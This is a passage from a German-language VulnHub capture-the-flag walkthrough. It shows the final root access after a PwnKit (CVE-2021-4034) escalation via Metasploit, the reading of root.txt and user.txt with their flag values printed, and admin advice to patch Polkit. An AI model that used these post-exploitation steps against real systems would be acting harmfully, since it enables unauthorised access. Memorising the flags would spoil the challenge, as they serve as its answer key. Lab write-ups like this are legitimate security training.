Empfehlung (Pentester):** Wechsle zur neuen Meterpreter-Session 3 (`sessions -i 3`) und überprüfe die Rechte (`getuid`, `sysinfo`). Hole die Root- und User-Flags.
Empfehlung (Admin):** **DRINGEND Polkit patchen (CVE-2021-4034)!** Dieser Exploit ist weit verbreitet und sehr effektiv auf ungepatchten Systemen.

meterpreter > shell
Process 1932 created.
Channel 1 created.
[Kein Prompt angezeigt, aber Befehl wird ausgeführt] id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
                    

Analyse:** Innerhalb der neuen Meterpreter-Session 3 wird der Befehl `shell` ausgeführt. Dieser Befehl lässt die Meterpreter-Session fallen und öffnet eine Standard-System-Shell auf dem Ziel. Anschließend wird der `id`-Befehl ausgeführt.

Bewertung:** **Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!** Der `id`-Befehl bestätigt es: `uid=0(root)`. Wir haben vollständige Kontrolle über das Zielsystem erlangt.

Empfehlung (Pentester):** Suche nach den Flags (`user.txt`, `root.txt`) und dokumentiere den Erfolg. Führe abschließende Enumeration als Root durch, falls erforderlich.
Empfehlung (Admin):** Die vorherigen Empfehlungen zum Patchen sind hier entscheidend, um diesen Zugriff zu verhindern.

[Root-Shell] # ls
logs.txt
root.txt
snap
                    

Analyse:** Der Befehl `ls` wird im aktuellen Verzeichnis ausgeführt (vermutlich `/root`, das Standard-Home-Verzeichnis des Root-Benutzers).

Bewertung:** Die Ausgabe zeigt die erwartete `root.txt`-Datei sowie eine `logs.txt` und ein `snap`-Verzeichnis.

Empfehlung (Pentester):** Lies den Inhalt von `root.txt`.
Empfehlung (Admin):** Keine spezifische Empfehlung.

[Root-Shell] # cat root.txt
FLAG: 4NJSA99SD7922197D7S90PLAWE

Congrats! Hope you enjoyed my first machine posted on VulnHub!
Ping me on twitter @proxyprgrammer for any suggestions.

Youtube: https://www.youtube.com/c/ProxyProgrammer
Twitter: https://twitter.com/proxyprgrammer
                    

Analyse: Der Befehl `cat root.txt` gibt den Inhalt der Root-Flag-Datei aus.

Bewertung: Die Root-Flag wurde erfolgreich extrahiert: `4NJSA99SD7922197D7S90PLAWE`. Die zusätzliche Nachricht bestätigt das Ende der Herausforderung.

Empfehlung (Pentester): Dokumentiere die Root-Flag. Suche als Nächstes die User-Flag.
Empfehlung (Admin):** Keine spezifische Empfehlung.

[Root-Shell] # cat /home/randy/user.txt
98342721012390839081
                    

Analyse: Der Befehl `cat /home/randy/user.txt` gibt den Inhalt der User-Flag-Datei aus, die sich im Home-Verzeichnis des Benutzers `randy` befindet.

Bewertung: Die User-Flag wurde erfolgreich extrahiert: `98342721012390839081`.

Empfehlung (Pentester): Dokumentiere die User-Flag. Der Test ist abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung.

Zusammenfassung Privilege Escalation: Die Eskalation von `www-data` zu `root` gelang durch die Ausnutzung der bekannten PwnKit-Schwachstelle (CVE-2021-4034) im `pkexec`-Binary mithilfe des Metasploit Frameworks. Dies unterstreicht die kritische Bedeutung zeitnaher System-Patches.

Flags

cat /home/randy/user.txt
98342721012390839081
cat /root/root.txt
4NJSA99SD7922197D7S90PLAWE